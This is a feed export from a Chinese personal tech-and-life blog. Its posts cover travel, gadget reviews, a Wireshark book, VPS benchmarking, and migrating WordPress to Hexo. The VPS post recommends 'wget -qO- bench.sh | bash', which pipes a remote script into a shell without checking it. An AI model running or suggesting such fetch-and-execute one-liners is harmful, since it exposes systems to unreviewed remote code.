    <![CDATA[<h1 id="0x01-引言"><a href="#0x01-引言" class="headerlink" title="0x01 引言"></a>0x01 引言</h1><p>2014年的12月我就应该去俄罗斯了，虽然哪些交换生都说是免签的，但我还是担心我的中国护照和他们不一样，我只能作罢。然后我查到了是乘坐Viking Line 去ST. PeterSburge可以有3天免签，我才把俄罗斯放入行程中。确切的说是我2016年的年度计划。然后选了一个月黑风高的好日子，我找了一个俄罗斯当地的学生导游团。啊哈哈，想不到吧。一直讨厌跟团的我居然选择了一个导游。这也是经过我深思熟虑的结果。听说老毛子的假警察，小偷又多，还不会英文。最重要的是，我怎么打俄语？给你们来一张俄罗斯的地铁图体验一下 </p>
<p>每次看到俄语的宣传单我都会反过来看一下。然而这也是让这次旅行变得更为美妙的一个决定。</p>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[单手捏鸡蛋]]></title>
    <link href="http://doubles.me/2016/05/30/160531/"/>
    <id>http://doubles.me/2016/05/30/160531/</id>
    <published>2016-05-30T20:55:04.000Z</published>
    <updated>2016-10-11T23:13:47.288Z</updated>
    <content type="html"><![CDATA[<p>今天看到一个视频说太极功夫可以捏爆鸡蛋。30分钟左右。</p>
<p><a href="https://www.youtube.com/watch?v=yFicJ903V-g" target="_blank" rel="external">太极擒拿 【体验真功夫20150619】 720P</a></p>
<p>但是我高中的时候捏爆过啊，被很多朋友质疑，他们以前还不信。</p>
<p>冰箱掏出一盒鸡蛋我就捏爆2个。直接爆的，没用手指头扣，视频里的大师手上还转了一下。</p>
<p>记得以前吃苹果和橘子可以直接单手扳开，好分给同桌吃。她嫌太脏不要，我就没干过了。</p>
<a id="more"></a>
<p>捏了2个，第一个非说我是4根指头扣掉的。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/475194157166904754.jpg" alt="2016/07/475194157166904754.jpg"></p>
<p>就再来一个顺带拍个视频。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/20160731.png" alt="2016/07/20160731.png"></p>
<embed src="http://player.youku.com/player.php/sid/XMTY2NDk3NzgzMg==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">]]></content>
    <summary type="html">
    <![CDATA[<p>今天看到一个视频说太极功夫可以捏爆鸡蛋。30分钟左右。</p>
<p><a href="https://www.youtube.com/watch?v=yFicJ903V-g">太极擒拿 【体验真功夫20150619】 720P</a></p>
<p>但是我高中的时候捏爆过啊，被很多朋友质疑，他们以前还不信。</p>
<p>冰箱掏出一盒鸡蛋我就捏爆2个。直接爆的，没用手指头扣，视频里的大师手上还转了一下。</p>
<p>记得以前吃苹果和橘子可以直接单手扳开，好分给同桌吃。她嫌太脏不要，我就没干过了。</p>]]>
    
    </summary>
    
  </entry>
  
  <entry>
    <title><![CDATA[空手劈砖]]></title>
    <link href="http://doubles.me/2016/05/30/160530/"/>
    <id>http://doubles.me/2016/05/30/160530/</id>
    <published>2016-05-30T18:40:05.000Z</published>
    <updated>2016-10-11T23:13:40.622Z</updated>
    <content type="html"><![CDATA[<p>奇奇怪怪的技能。</p>
<p><a href="http://www.guokr.com/blog/441840/" target="_blank" rel="external">解密劈砖背后的玄机</a></p>
<p><embed src="http://player.youku.com/player.php/sid/XNDA2NTY1NjY0/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash"><br><a id="more"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>奇奇怪怪的技能。</p>
<p><a href="http://www.guokr.com/blog/441840/">解密劈砖背后的玄机</a></p>
<p><embed src="http://player.youku.com/player.php/sid/XNDA2NTY1NjY0/v.swf" allowFullScreen="true" quality="high" width="600" height="480" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash"></embed><br>]]>
    
    </summary>
    
  </entry>
  
  <entry>
    <title><![CDATA[电动牙刷]]></title>
    <link href="http://doubles.me/2016/05/24/160524/"/>
    <id>http://doubles.me/2016/05/24/160524/</id>
    <published>2016-05-24T06:17:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天逛超市，看到了超市有电动牙刷打折。原本打算买一个oral-b 700的，价格才20欧的样子。可惜同伴说这种低价的机械式效果不好。会震得手麻。他们用过60RMB的，也用过100欧的oral-b。我手机查查这些型号，发现和国内的都对不上。国内的都是d12，d16这样的，这边却是700 这种型号。 看来看去，找到一个Colgate ProClinical  A1500。声波牙刷，原价99，打折后59欧。<br>听说电动牙刷比较干净，而且不容易牙龈出血，我这个每天都刷牙出血的还是必须买一个了。<br>虽然我知道飞利浦的比较好，但是我也没看到飞利浦的啊。<br>就是这一款了。<br><a id="more"></a></p>
<figure class="highlight markdown"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">[<span class="string">2014年最值得购买十款电动牙刷！</span>](<span class="link">http://www.haitaozj.com/thread-126638-1-1.html</span>)</div><div class="line">【产品介绍】</div><div class="line">具有电动牙刷应有的所有功能，ProClinical A1500 真是一个全能的产品。</div><div class="line">它有最高的每分钟冲程数：32000，使用超声波刷牙功能据说能减少5倍的牙菌斑，此外还带有内置磨光功能。</div><div class="line">它真正突出的功能是智能自动调整刷牙功能，这取决于你的操作。</div><div class="line">所以，需要额外着重清洁的区域，或者敏感的牙龈部位，不用担心过度用力带来的伤害了。</div><div class="line"></div><div class="line">【品牌介绍】</div><div class="line">高露洁棕榄有限公司是全球领先的日用消费品公司，拥有200多个国家的40,000多员工，</div><div class="line">在口腔护理、个人护理、家居护理和宠物食品等方面为大众提供高品质的消费品，其中</div><div class="line">有很多是广大消费者耳熟能详的全球著名品牌，如高露洁、棕榄、Ajax、</div><div class="line">Protex、Irish Spring、Fab、Mennen、Simply White和Hill's Science Diet等，</div><div class="line">特别是在口腔护理、液体香皂和腋下护理领域，在全球具有明显优势，在其他领域，</div><div class="line">高露洁也有一大批在日用卫生方面为全球消费者所熟知的品牌。</div></pre></td></tr></table></figure>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2408.JPG-long" alt=""><br>(京东卖1499，然后送一辆自行车，这是什么鬼？买牙刷送自行车，我了个天。)</p>
<p>打开后发现是有3个刷头的，还送一个旅行盒。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2410.JPG-body" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2414.JPG-width" alt=""></p>
<p>充电后能用1周，自动模式可以用2周，所以出门旅行不用带充电器。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2412.JPG-width" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2411.JPG-long" alt=""></p>
<p>第一次看到这种充电器还是很惊奇的，感应式充电，不过还是不能摆到浴室里比较麻烦，线也太短了。说明书上也说不充电的时候不要插电。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2419.JPG-body" alt=""></p>
<p>至于使用效果，我只用了一次，不过牙膏在甩啊。3种清洁模式我也感觉不到明显的差别。至于说明书上比另一个300的版本多出来的感应器，呃呃呃在哪里呢？这个感应器可是贵了40欧啊！<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/05/IMG_2423.JPG-long" alt=""></p>
<p>使用后的感觉就是牙膏在飞，嘴唇好麻，还流口水了，关键是牙龈还是出血啊！！！<br>刷到了2分钟它会自动停止，这个还挺好的。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天逛超市，看到了超市有电动牙刷打折。原本打算买一个oral-b 700的，价格才20欧的样子。可惜同伴说这种低价的机械式效果不好。会震得手麻。他们用过60RMB的，也用过100欧的oral-b。我手机查查这些型号，发现和国内的都对不上。国内的都是d12，d16这样的，这边却是700 这种型号。 看来看去，找到一个Colgate ProClinical  A1500。声波牙刷，原价99，打折后59欧。<br>听说电动牙刷比较干净，而且不容易牙龈出血，我这个每天都刷牙出血的还是必须买一个了。<br>虽然我知道飞利浦的比较好，但是我也没看到飞利浦的啊。<br>就是这一款了。<br>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Wireshark & Ethereal Network Protocol Analyzer Toolkit]]></title>
    <link href="http://doubles.me/2016/03/15/160315/"/>
    <id>http://doubles.me/2016/03/15/160315/</id>
    <published>2016-03-15T15:17:17.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>去年从学校捡来的一本书，原本过年前就应该看完的，结果被我拖到了现在。<br>毫无疑问是一本工具书，刚好我做的项目需要做pcap包的数据分析，就翻翻了。<br>其实并不需要看的很仔细，这本书就是介绍一下Wireshark相关的。<br>由于大部分的知识我都有，所以只花了2个小时浏览了一遍。<br>而且我惊奇的发现，我阅读这种书籍毫无压力。<br><a id="more"></a></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/03/IMG_20160315_161739.jpg-body" alt=""></p>
<p>具体的书目可以看这里<br><a href="http://www.amazon.com/Wireshark-Ethereal-Protocol-Analyzer-Security/dp/1597490733" target="_blank" rel="external">Wireshark &amp; Ethereal Network Protocol Analyzer Toolkit</a></p>
<p>第一章 介绍了些网络知识，七层模型，TCP 协议等。<br>第二章 介绍了Wireshark的基本功能和使用场景。<br>第三章 介绍了如何安装。<br>第四章 介绍了Wireshark的界面，以及如何使用。<br>第五章 过滤器<br>第六章 无线嗅探<br>第七章 一些数据包的实例，比如Null Scan。<br>第八章 如何开发Wireshark<br>第九章 Wireshark中包含的其他小程序， 实际上这里比较实用，毕竟其他的都不如打开一个Wireshark来用。然后照着网上的文章参考着用。</p>
<p>我对Wireshark还是表示敬佩的，支持所有平台，支持300多个协议，开放源代码的。<br>关键是没有像其他的开元程序一样，Bug多或者界面巨丑。<br>好看，好用，似乎都没有其他的替代品。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>去年从学校捡来的一本书，原本过年前就应该看完的，结果被我拖到了现在。<br>毫无疑问是一本工具书，刚好我做的项目需要做pcap包的数据分析，就翻翻了。<br>其实并不需要看的很仔细，这本书就是介绍一下Wireshark相关的。<br>由于大部分的知识我都有，所以只花了2个小时浏览了一遍。<br>而且我惊奇的发现，我阅读这种书籍毫无压力。<br>]]>
    
    </summary>
    
      <category term="Notes" scheme="http://doubles.me/tags/Notes/"/>
    
      <category term="Notes" scheme="http://doubles.me/categories/Notes/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[VPS Bench]]></title>
    <link href="http://doubles.me/2016/03/10/160310/"/>
    <id>http://doubles.me/2016/03/10/160310/</id>
    <published>2016-03-09T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>总是会买各种各样的VPS，买完就要测速，然后就是闲着。真的是浪费生命浪费钱啊。<br>这里总结一下买来VPS后如何了解VPS的情况。<br>推荐在你常用的时候跑测试，毕竟服务器的负载不一样跑出来的结果也不一样。<br>我用AWS的机器来测试一下。</p>
<a id="more"></a>
<h2 id="1-网络性能测试"><a href="#1-网络性能测试" class="headerlink" title="1. 网络性能测试"></a>1. 网络性能测试</h2><p>首先执行<br><figure class="highlight 1c"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">wget -qO- bench.sh <span class="string">| bash</span></div></pre></td></tr></table></figure></p>
<p>其中的那个 <code>bench.sh</code> 就是域名， 也是脚本名字了。我真的很崇拜能想到这个的人。<br>再来看下<code>bench.sh</code>能干什么:</p>
<ol>
<li>显示当前测试的各种系统信息；</li>
<li>取自世界多处的知名数据中心的测试点，下载测试比较全面；</li>
<li>支持 IPv6 下载测速；</li>
<li>IO 测试三次，并显示平均值。</li>
</ol>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/03/201603101.png-body" alt=""></p>
<p>另一个选择就是使用<code>Speedtest-cli</code>,这个还能看到上传速度。<br><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">wget -O speedtest-<span class="keyword">cli</span> https://raw.githubusercontent.com/sivel/speedtest-<span class="keyword">cli</span>/master/speedtest_cli.py</div><div class="line">chmod +<span class="built_in">x</span> speedtest-<span class="keyword">cli</span></div><div class="line">./speedtest_cli</div></pre></td></tr></table></figure></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/03/201603102.png-body" alt=""></p>
<h2 id="2-IO性能测试"><a href="#2-IO性能测试" class="headerlink" title="2. IO性能测试"></a>2. IO性能测试</h2><p>测试硬盘IO性能，对硬盘的损害很大，不建议多次或长时间尝试，命令如下：<br><figure class="highlight nix"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">dd <span class="attr">if=/dev/zero</span> <span class="attr">of=test</span> <span class="attr">bs=64k</span> <span class="attr">count=4k</span> <span class="attr">oflag=dsync</span></div></pre></td></tr></table></figure></p>
<p>一般来说，如果测试结果超过10M，对正常建站就无影响。超过50M，就是非常给力状态。<br>不过现在一般都是SSD了，所以上百也正常。<br>（注：本测试对硬盘损伤较大，请酌情使用,请勿长时间使用，会被封的）<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/03/201603103.png-body" alt=""></p>
<h2 id="3-综合性能测试"><a href="#3-综合性能测试" class="headerlink" title="3. 综合性能测试"></a>3. 综合性能测试</h2><p>这里用的是<code>UnixBench</code>，一款国外提供的linux性能专用软件，可以跑出分数来让你做对比：<br>总分情况，低于400的就算性能低下；600-800是属于正常VPS水准；超过1000分性能就算给力。<br><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">wget http://7xnueu.com1.z0.glb.clouddn.com/<span class="number">2016</span>/<span class="number">03</span>/UnixBench5<span class="meta">.1</span><span class="meta">.3</span>.tgz</div><div class="line">tar xvf UnixBench5<span class="meta">.1</span><span class="meta">.3</span>.tar.gz </div><div class="line">cd UnixBench5<span class="meta">.1</span><span class="meta">.3</span> </div><div class="line">./Run</div></pre></td></tr></table></figure></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/03/201603104.png-body" alt=""><br>说实话，这个成绩也是吓到我了。一般都是买廉价的VPS用来翻墙的，所以跑分多为200-400的样子，AWS将近2000着实给力。</p>
<p>Referrence:</p>
<ol>
<li><a href="https://teddysun.com/444.html" target="_blank" rel="external">一键测试脚本bench.sh</a></li>
<li><a href="https://github.com/sivel/speedtest-cli" target="_blank" rel="external">speedtest-cli</a></li>
</ol>
]]></content>
    <summary type="html">
    <![CDATA[<p>总是会买各种各样的VPS，买完就要测速，然后就是闲着。真的是浪费生命浪费钱啊。<br>这里总结一下买来VPS后如何了解VPS的情况。<br>推荐在你常用的时候跑测试，毕竟服务器的负载不一样跑出来的结果也不一样。<br>我用AWS的机器来测试一下。</p>]]>
    
    </summary>
    
      <category term="VPS" scheme="http://doubles.me/tags/VPS/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[4年一遇的闰年，晒晒我这1年用过的科技产品]]></title>
    <link href="http://doubles.me/2016/02/29/160229/"/>
    <id>http://doubles.me/2016/02/29/160229/</id>
    <published>2016-02-28T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h2 id="1-AR-Drone"><a href="#1-AR-Drone" class="headerlink" title="1. AR.Drone"></a>1. AR.Drone</h2><p>学校一门 Real Time Software Development 课程做的就是AR.Drone的自动搜救。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-829261f187ee80aa.jpg-body" alt=""></p>
<a id="more"></a>
<h2 id="2-RaspiBerry"><a href="#2-RaspiBerry" class="headerlink" title="2. RaspiBerry"></a>2. RaspiBerry</h2><p>DHR 项目中接触到的，不过在新办公室也有。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/216f687a1f0c44de72d516d850ccad7a.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_144808.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_144655.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_144535.jpg-body" alt=""></p>
<h2 id="3-Nexus-5X"><a href="#3-Nexus-5X" class="headerlink" title="3. Nexus 5X"></a>3. Nexus 5X</h2><p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_1449381.jpg-body" alt=""></p>
<h2 id="4-ChromeCast"><a href="#4-ChromeCast" class="headerlink" title="4. ChromeCast"></a>4. ChromeCast</h2><p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_150338.jpg-body" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_150311.jpg-body" alt=""></p>
<h2 id="5-3D-Connextion"><a href="#5-3D-Connextion" class="headerlink" title="5. 3D Connextion"></a>5. 3D Connextion</h2><p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160229_151236.jpg-body" alt=""></p>
<h2 id="6-Apple-TV"><a href="#6-Apple-TV" class="headerlink" title="6. Apple TV"></a>6. Apple TV</h2><p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/891880040173221948.jpg-body" alt=""></p>
<h2 id="7-VR-眼镜"><a href="#7-VR-眼镜" class="headerlink" title="7. VR 眼镜"></a>7. VR 眼镜</h2><p>新工作室的小宅墨镜。居然是国产的。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160314_134912.jpg-body" alt=""></p>
<h2 id="8-iwon智能手环"><a href="#8-iwon智能手环" class="headerlink" title="8. iwon智能手环"></a>8. iwon智能手环</h2><p>自己买的，并没有什么用处。处于吃灰状态。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/IMG_20160303_165445.jpg-body" alt=""></p>
<h2 id="9-Dell-E6630"><a href="#9-Dell-E6630" class="headerlink" title="9. Dell E6630"></a>9. Dell E6630</h2><p>发的笔记本，主要是觉得Dock 这个东西真的神器，不然每天插那么多的线，烦死。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/02/dsc_0098.jpg-body" alt=""></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="1-AR-Drone"><a href="#1-AR-Drone" class="headerlink" title="1. AR.Drone"></a>1. AR.Drone</h2><p>学校一门 Real Time Software Development 课程做的就是AR.Drone的自动搜救。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-829261f187ee80aa.jpg-body" alt=""></p>]]>
    
    </summary>
    
      <category term="diary" scheme="http://doubles.me/tags/diary/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[4小时从入门到放弃 - 滑雪]]></title>
    <link href="http://doubles.me/2016/02/01/160201/"/>
    <id>http://doubles.me/2016/02/01/160201/</id>
    <published>2016-02-01T15:20:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<embed src="http://player.youku.com/player.php/sid/XMTYyMTE5ODUwMA==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">

]]></content>
    <summary type="html">
    <![CDATA[<embed src="http://player.youku.com/player.php/sid/XMTYyMTE5ODUwMA==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" a]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[WordPress迁移到Hexo]]></title>
    <link href="http://doubles.me/2016/01/30/160130/"/>
    <id>http://doubles.me/2016/01/30/160130/</id>
    <published>2016-01-30T01:57:29.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h2 id="迁移WordPress"><a href="#迁移WordPress" class="headerlink" title="迁移WordPress"></a>迁移WordPress</h2><p>使用插件 <a href="https://github.com/hexojs/hexo-migrator-wordpress" target="_blank" rel="external">hexo-migrator-wordpress</a></p>
<p>Export your WordPress in “Tools” → “Export” → “WordPress” in your dashboard.<br>Execute the following command after installed. source is the file path or URL of WordPress export file.</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ npm <span class="keyword">install</span> hexo-migrator-wordpress <span class="comment">--save</span></div><div class="line">$ hexo migrate wordpress &lt;<span class="keyword">source</span>&gt;</div></pre></td></tr></table></figure>
<a id="more"></a>
<h2 id="处理特殊字符"><a href="#处理特殊字符" class="headerlink" title="处理特殊字符"></a>处理特殊字符</h2><p>现有问题是不能处理文章标题中的中文和特殊符号。</p>
<p>从Wordpress迁移过来时，生成的文件名会出现如下例子<br><code>e8-bd-af-e8-bf-9e-e6-8e-a5-e5-92-8c-e7-a1-ac-e8-bf-9e-e6-8e-a5.md</code><br>因为URL中，中文是UTF-8编码。解决办法是写了一个Python脚本，然后从文件内容的id部分提取出文件名，代码如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> os,sys,re</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">getTitle</span><span class="params">(firstLine)</span>:</span></div><div class="line">    strs = <span class="string">':'</span>.join(firstLine.split(<span class="string">':'</span>)[<span class="number">1</span>:])</div><div class="line">    strs = strs.replace(<span class="string">"'"</span>, <span class="string">''</span>) </div><div class="line">    strs = strs.strip()</div><div class="line">    title = <span class="string">'-'</span>.join(strs.split(<span class="string">' '</span>))</div><div class="line">    <span class="keyword">return</span> title</div><div class="line">    </div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</div><div class="line">    dirName = sys.argv[<span class="number">1</span>]</div><div class="line">    <span class="keyword">for</span> root,dirs,fileNames <span class="keyword">in</span> os.walk(dirName):</div><div class="line">        <span class="keyword">for</span> fileName <span class="keyword">in</span> fileNames:</div><div class="line">            <span class="keyword">print</span> <span class="string">"Old file:"</span>+fileName </div><div class="line">            <span class="comment"># print root</span></div><div class="line">            fileName = os.path.join(root, fileName)</div><div class="line">            f = open(fileName)</div><div class="line">            </div><div class="line">            <span class="comment"># Get id </span></div><div class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f: </div><div class="line">                match=re.findall(<span class="string">'^id:'</span>,line)</div><div class="line">                <span class="keyword">if</span> match != []: </div><div class="line">                    <span class="keyword">break</span>;</div><div class="line">            </div><div class="line">            title = getTitle(line)</div><div class="line">            f.close()</div><div class="line">            </div><div class="line">            newname = title + <span class="string">'.md'</span></div><div class="line">            <span class="keyword">print</span> <span class="string">"New file:"</span>+newname</div><div class="line">            os.rename(fileName, os.path.join(root,newname))</div></pre></td></tr></table></figure>
<p>如果脚本出错的花，就是标题中出现了特殊的符号，劲量保证id中没有其他的符号。<br>也可以使用title，但是那个就比较麻烦需要是全英文的。</p>
<p>使用方法:</p>
<blockquote>
<p>python convert.py source/_posts/</p>
</blockquote>
<h2 id="替换附件地址-使用CDN"><a href="#替换附件地址-使用CDN" class="headerlink" title="替换附件地址+使用CDN"></a>替换附件地址+使用CDN</h2><p>然后需要替换所有文本中的图片地址，这个需要看个人情况的。<br>我只需要修改域名就行，所以本地用notepad++来批量替换了。</p>
<p>然后使用七牛的CDN<br>使用了一个python的客户端脚本，用来上传图片。<br><a href="https://github.com/heqingpan/qiniu_sync" target="_blank" rel="external">qiniu_sync</a><br>新建一个目录保存图片，然后运行 <code>python qiniu_sync</code> 就可以自动同步。</p>
<h2 id="绑定域名"><a href="#绑定域名" class="headerlink" title="绑定域名"></a>绑定域名</h2><p>Github的域名绑定比较简单，只需要新建CNAME文件就行。<br>首先 <code>ping</code> 你的 Github域名，<code>ping doubleshift.github.com</code>。<br>然后得到一个IP地址，将域名解析A记录到这个IP。<br>然后创建一个文件名为<code>CNAME</code>的空文件，放到<code>source</code>就是你放博客<code>_posts</code>的父目录。<br>然后里面内容是你的域名，我的就是<code>doubles.me</code>。<br>之后<code>Hexo g -d</code>，然后就等解析生效。</p>
<h2 id="添加统计"><a href="#添加统计" class="headerlink" title="添加统计"></a>添加统计</h2><p>使用了<a href="http://busuanzi.ibruce.info/" target="_blank" rel="external">不蒜子</a>的统计, 只需要在模版里加入2行代码就行。<br>具体教程可以参考这里 <a href="http://wangcaiyong.com/2015/06/26/busuanzi/" target="_blank" rel="external">Hexo静态博客使用不蒜子添加计数功能</a>。</p>
<h2 id="添加站内搜索"><a href="#添加站内搜索" class="headerlink" title="添加站内搜索"></a>添加站内搜索</h2><p>由于使用的Github托管的，所以能看到本博客也不担心不能访问Google的问题，就用了Google Search。<br>教程参考的这里 <a href="http://lulee007.github.io/2016/01/23/Hexo%E5%8D%9A%E5%AE%A2%E4%BC%98%E5%8C%96%E9%85%8D%E7%BD%AE%E4%B9%8B-%E4%B8%BA%E8%87%AA%E5%B7%B1%E5%8D%9A%E5%AE%A2%E6%B7%BB%E5%8A%A0%E7%AB%99%E5%86%85%E6%90%9C%E7%B4%A2/" target="_blank" rel="external">Hexo博客优化配置之–为自己博客添加站内搜索</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="迁移WordPress"><a href="#迁移WordPress" class="headerlink" title="迁移WordPress"></a>迁移WordPress</h2><p>使用插件 <a href="https://github.com/hexojs/hexo-migrator-wordpress">hexo-migrator-wordpress</a></p>
<p>Export your WordPress in “Tools” → “Export” → “WordPress” in your dashboard.<br>Execute the following command after installed. source is the file path or URL of WordPress export file.</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ npm <span class="keyword">install</span> hexo-migrator-wordpress <span class="comment">--save</span></div><div class="line">$ hexo migrate wordpress &lt;<span class="keyword">source</span>&gt;</div></pre></td></tr></table></figure>]]>
    
    </summary>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[OpenCV3.0 + IntelliJ IDEA]]></title>
    <link href="http://doubles.me/2016/01/24/160124/"/>
    <id>http://doubles.me/2016/01/24/160124/</id>
    <published>2016-01-23T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h1 id="OpenCV3-0-IntelliJ-IDEA"><a href="#OpenCV3-0-IntelliJ-IDEA" class="headerlink" title="OpenCV3.0 + IntelliJ IDEA"></a>OpenCV3.0 + IntelliJ IDEA</h1><p>装备装VistualStudio2015的，但是被他搞疯掉了。装在系统盘以外但是还是花掉了我20G的系统盘，然后撑爆了C盘，终止安装。 之后删除了一些东西，卸载重装，装不上了。遂重装系统，改用Java版。</p>
<p>官方提供了一个Eclipse的环境设置文档，但是并不打算用Eclipse。使用的是 Intellij IDEA.</p>
<a id="more"></a>
<h2 id="Environment"><a href="#Environment" class="headerlink" title="Environment"></a>Environment</h2><ul>
<li>IntelliJ IDEA 14.1.5</li>
<li>JDK 1.8</li>
<li>OpenCV 3.0</li>
<li>Windows 10 Pro</li>
</ul>
<h2 id="Instruction"><a href="#Instruction" class="headerlink" title="Instruction"></a>Instruction</h2><ol>
<li><p>下载OpenCV3.0 for Windows<br>运行 <em>opencv-3.0.0.exe</em> ，解压到磁盘任意位置。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/clipboard.png" alt=""></p>
</li>
<li><p>用IntelliJ IDEA创建一个空项目，然后打开 “File-&gt;Project Structure-&gt;Libraries”<br>添加一个库， “opencb/build/java/opencv300.jar”<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/a81ebcb1-4d84-47e0-a700-01166355b29c.png" alt=""></p>
</li>
<li><p>还需要设置运行路径，”Run-&gt;Edit Configurations” 找到”VM options” 设置为 “-Djava.library.path=-Djava.library.path=G:\RTSD\opencv\build\java\x64”<br>当然，需要选择x86 或 x64。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/2c58f57d-eb65-4d03-a82b-7f260b5f2f73.png" alt=""></p>
</li>
<li><p>测试<br>import org.opencv.core.Core;<br>import org.opencv.core.CvType;<br>import org.opencv.core.Mat;</p>
</li>
</ol>
